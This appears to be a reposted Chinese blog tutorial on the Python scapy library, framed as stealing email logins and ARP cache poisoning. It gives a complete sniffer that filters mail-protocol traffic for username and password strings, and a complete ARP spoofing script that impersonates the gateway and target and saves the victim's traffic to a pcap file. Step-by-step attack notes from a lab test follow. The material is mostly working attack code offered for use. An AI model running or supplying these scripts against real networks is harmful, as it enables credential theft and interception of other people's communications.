Python scapy网络包嗅探模块(转载)

1.窃取Email认证
1.1创建一个简单的嗅探器,捕获一个数据包,packet.show()函数解析了其中的协议信息并输出了包的内容。

from scapy.all import *
def packet_callbacke(packet):
    print packet.show()

sniff(prn=packet_callbacke,count=1)

得到

python mail.py
WARNING: No route found for IPv6 destination :: (no default route?)
###[ Ethernet ]###
  dst       = c4:ca:d9:a8:cf:58
  src       = 60:eb:69:15:76:5f
  type      = 0x800
###[ IP ]###
     version   = 4L
     ihl       = 5L
     tos       = 0x0
     len       = 52
     id        = 6428
     flags     = DF
     frag      = 0L
     ttl       = 64
     proto     = tcp
     chksum    = 0xbacf
     src       = 10.21.21.120
     dst       = 115.239.211.92
     \options   \
###[ TCP ]###
        sport     = 33038
        dport     = http
        seq       = 2801454030
        ack       = 0
        dataofs   = 8L
        reserved  = 0L
        flags     = S
        window    = 8192
        chksum    = 0xf415
        urgptr    = 0
        options   = [('MSS', 1460), ('NOP', None), ('WScale', 2), ('NOP', 

None), ('NOP', None), ('SAckOK', '')]
None

1.2设置过滤器

from scapy.all import *

# 数据包回调函数
def packet_callback(packet):

    if packet[TCP].payload:

        mail_packet = str(packet[TCP].payload)

        if "user" in mail_packet.lower() or "pass" in mail_packet.lower():

            print "[*] Server: %s" % packet[IP].dst
            print "[*] %s" % packet[TCP].payload

# 开启嗅探器
sniff(filter="tcp port 110 or tcp port 25 or tcp port 143",prn=packet_callback,store=0)
img_5227f4826356f30bea5d50bc5de0f6a9.png
这里写图片描述

前两次没有接收到数据:没有开启邮件客户端,而是用的web客户端传输邮件,第三次修改了代码的接收端口,加入一个80 port,此时可以接收到web端的数据。

2.ARP 缓存投毒

#-*- coding:utf8 -*-

from scapy.all import *
import os
import sys
import threading
import signal

interface   = "eth0"    #要嗅探的网卡 (linux下arp -a可查看)
target_ip   = "10.21.21.120"      #目标ip,这里测试的是另外一台win主机
gateway_ip  = "10.21.21.1"        #网关ip,这里是目标的网关
packet_count = 1000

def restore_target(gateway_ip, gateway_mac, target_ip, target_mac):

    # 以下代码调用send函数的方式稍有不同
    print "[*] Restoring target..."
    send(ARP(op=2, psrc=gateway_ip, pdst=target_ip, hwdst="ff:ff:ff:ff:ff:ff", hwsrc=gateway_mac), count=5)
    send(ARP(op=2, psrc=target_ip, pdst=gateway_ip, hwdst="ff:ff:ff:ff:ff:ff", hwsrc=target_mac), count=5)

    # 发出退出信号到主线程
    os.kill(os.getpid(), signal.SIGINT)

def get_mac(ip_address):

    # srp函数(发送和接收数据包,发送指定ARP请求到指定IP地址,然后从返回的数据中获取目标ip的mac)
    responses,unanswered = srp(Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(pdst=ip_address), timeout=2, retry=10)
    # 返回从响应数据中获取的MAC地址
    for s,r in responses:
        return r[Ether].src
    return None

def poison_target(gateway_ip, gateway_mac, target_ip, target_mac):

    poison_target = ARP()
    poison_target.op = 2                # 01代表请求包,02代表应答包
    poison_target.psrc = gateway_ip     # 模拟网关发出
    poison_target.pdst = target_ip      # 目的地是目标机器
    poison_target.hwdst = target_mac    # 目标的物理地址是目标机器的mac

    poison_gateway = ARP()
    poison_gateway.op = 2               # 响应报文
    poison_gateway.psrc = target_ip     # 模拟目标机器发出
    poison_gateway.pdst = gateway_ip    # 目的地是网关
    poison_gateway.hwdst = gateway_mac  # 目标的物理地址是网关的mac

    print "[*] Beginning the ARP poison. [CTRL_C to stop]"

    while True:
        try:
            # 开始发送ARP欺骗包(投毒)
            send(poison_target)
            send(poison_gateway)
            # 停两秒
            time.sleep(2)
        except KeyboardInterrupt:
            restore_target(gateway_ip, gateway_mac, target_ip, target_mac)

    print "[*] ARP poison attack finished"
    return

# 设置嗅探的网卡
conf.iface = interface

# 关闭输出
conf.verb = 0

print "[*] Setting up %s" % interface

# 获取网关mac
gateway_mac = get_mac(gateway_ip)

if gateway_mac is None:
    print "[!!!] Failed to get gateway MAC. Exiting"
    sys.exit(0)
else:
    print "[*] Gateway %s is at %s" % (gateway_ip, gateway_mac)

# 获取目标(被攻击的机器)mac
target_mac = get_mac(target_ip)

if target_mac is None:
    print "[!!!] Failed to get target MAC. Exiting"
    sys.exit(0)
else:
    print "[*] Target %s is at %s" % (target_ip, target_mac)

# 启动ARP投毒线程
poison_thread = threading.Thread(target = poison_target, args=(gateway_ip, gateway_mac, target_ip, target_mac))
poison_thread.start()

try:
    print "[*] Starting sniffer for %d packets" % packet_count

    bpf_filter = "ip host %s " % target_ip  # 过滤器
    packets = sniff(count = packet_count, filter=bpf_filter, iface = interface)

    # 将捕获到的数据包输出到文件
    wrpcap("arper.pcap", packets)
    # 还原网络配置
    restore_target(gateway_ip, gateway_mac, target_ip, target_mac)

except KeyboardInterrupt:
    # 还原网络配置
    restore_target(gateway_ip, gateway_mac, target_ip, target_mac)
    sys.exit(0)

主要函数poison_target()中的两部分

poison_target.psrc = gateway_ip     
poison_target.pdst = target_ip      
poison_target.hwdst = target_mac   mac

对目标机器而言

攻击机的mac是网关,就是攻击者的机器是网关
模拟是网关发出的, 其实是我们的机器发出的

poison_gateway.psrc = target_ip        
poison_gateway.pdst = gateway_ip    
poison_gateway.hwdst = gateway_mac  

img_781ffbe2617635a1823a588456e2f605.png
这里写图片描述

(1) 先用scanner.py扫描一下存活的主机


img_a126a227494b18813d04d8f39a91d582.png
这里写图片描述

(2) 目标机器上arp -a查看 对应mac


img_e06fbb89a3023fcc85d310167bf8a7ca.png
这里写图片描述

(3) 攻击方 arp -a


img_53b43b7797e4e084013db8ef69762b1e.png
这里写图片描述

(4) 查看是否能ping通,目标机器存在有线和无线ip时无法ping通,关掉无线,使得攻击方和目标方同在一个子网内,ip不冲突即可ping 通


img_367aba5494f72c0a08e7ccc9549915f9.png
这里写图片描述
img_0df2e94bc813d0ce0d06fe1c76081294.png
这里写图片描述

(5) 开始攻击


img_39c74be6b9c8d58ba864dacef18dcb7b.png
这里写图片描述

(6) 攻击后查看对比目标机器的mac


img_bb5e5fa46bee33d9997e3ef49d5f70d9.png
这里写图片描述

看到目标机器的mac地址被改成了攻击方的mac
(目标机器不能上网了……忘记开启流量转发…….)


img_93dba46f1b3def4c1742b0e5f4201c89.png
这里写图片描述

(7) 打开默认路径下arper.pcap就能看到目标机器通信的信息
(8)再打开arp -a就是

汇总了………

  • 0
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值